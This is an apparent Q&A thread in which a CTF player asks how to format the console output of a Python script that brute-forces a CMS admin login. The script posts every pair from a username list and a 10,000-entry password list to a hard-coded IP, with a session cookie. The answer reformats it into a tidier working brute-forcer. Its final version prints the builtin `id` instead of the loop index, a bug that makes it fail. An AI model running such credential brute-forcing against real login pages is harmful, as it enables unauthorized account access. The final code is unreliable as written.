How can print out in console more beautifully?

Question

I create a Web-Bruteforce project with Python for CTFs. I ran it.

As you can see something's wrong. It isn't regular. How can I print them more beautifully? These are my codes:

    try:
        try:
            import requests
        except:
            print("You have to install \"requests\" via pip")
     
        header={"Cookie":"CMSSESSIDd6a5f2400115=uvtv1n19gois72a76vn4flje7u"}
        username = open("username.txt","r")
        username_content = username.read()
        username.close()
     
        password = open("common10k.txt","r")
        password_content = password.read()
        password.close()
     
        id=0
     
        print("=====================================================================")
        print("ID       Username          Password          Status_Code       Length")
        print("=====================================================================")
     
        for u in username_content.splitlines():
            for p in password_content.splitlines():
                url = "http://10.10.255.177/simple/admin/login.php"
                data = {"username":f"{u}","password":f"{p}","submit":"Submit"}
                sonuc = requests.post(url=url,data=data,headers=header)
                id+=1
                print(f"{id}        {u}             {p}            {sonuc.status_code}             {len(sonuc.content)}")
     
    except KeyboardInterrupt:
        print("Exiting...")

(These IP addresses and the cookie were for a CTF)

You can specify a size for the formatting and the content will be padded with spaces

# header
print(f"{'ID':5s}{'Username':15s}{'Password':15s}{'Status_code':12s}{'Length':8s}")

count = 0

for u in username_content.splitlines():
    for p in password_content.splitlines():
        url = "http://10.10.255.177/simple/admin/login.php"
        data = {"username": f"{u}", "password": f"{p}", "submit": "Submit"}
        sonuc = requests.post(url=url, data=data, headers=header)
        count += 1
        print(f"{count:<5d}{u:15s}{p:15s}{sonuc.status_code:<12d}{len(sonuc.content):<8d}")

More

• Do not use id builtin keyword

• Read file with a with, you don't need to think about closing it so

  with open("username.txt", "r") as username:
        username_content = username.read()
  

• Or read it with pathlib

  from pathlib import Path
  username_content = Path("username.txt").read_text()
  

• You can use itertools.product to use one for-loop

  for u, p in product(username_content.splitlines(), password_content.splitlines()):
  

• Use enumerate to get the count auto-generated

  for idx, (u, p) in enumerate(product(username_content.splitlines(), password_content.splitlines())):

Final code

try:
    try:
        import requests
        from pathlib import Path
        from itertools import product
    except:
        print("You have to install \"requests\" via pip")

    url = "http://10.10.255.177/simple/admin/login.php"
    header = {"Cookie": "CMSSESSIDd6a5f2400115=uvtv1n19gois72a76vn4flje7u"}
    username_content = Path("username.txt").read_text().splitlines()
    password_content = Path("common10k.txt").read_text().splitlines()

    print("=" * 70)
    print(f"{'ID':5s}{'Username':15s}{'Password':15s}{'Status_code':12s}{'Length':8s}")
    print("=" * 70)

    for idx, (u, p) in enumerate(product(username_content, password_content)):
        data = {"username": f"{u}", "password": f"{p}", "submit": "Submit"}
        sonuc = requests.post(url=url, data=data, headers=header)
        print(f"{id:<5d}{u:15s}{p:15s}{sonuc.status_code:<12d}{len(sonuc.content):<8d}")

except KeyboardInterrupt:
    print("Exiting...")
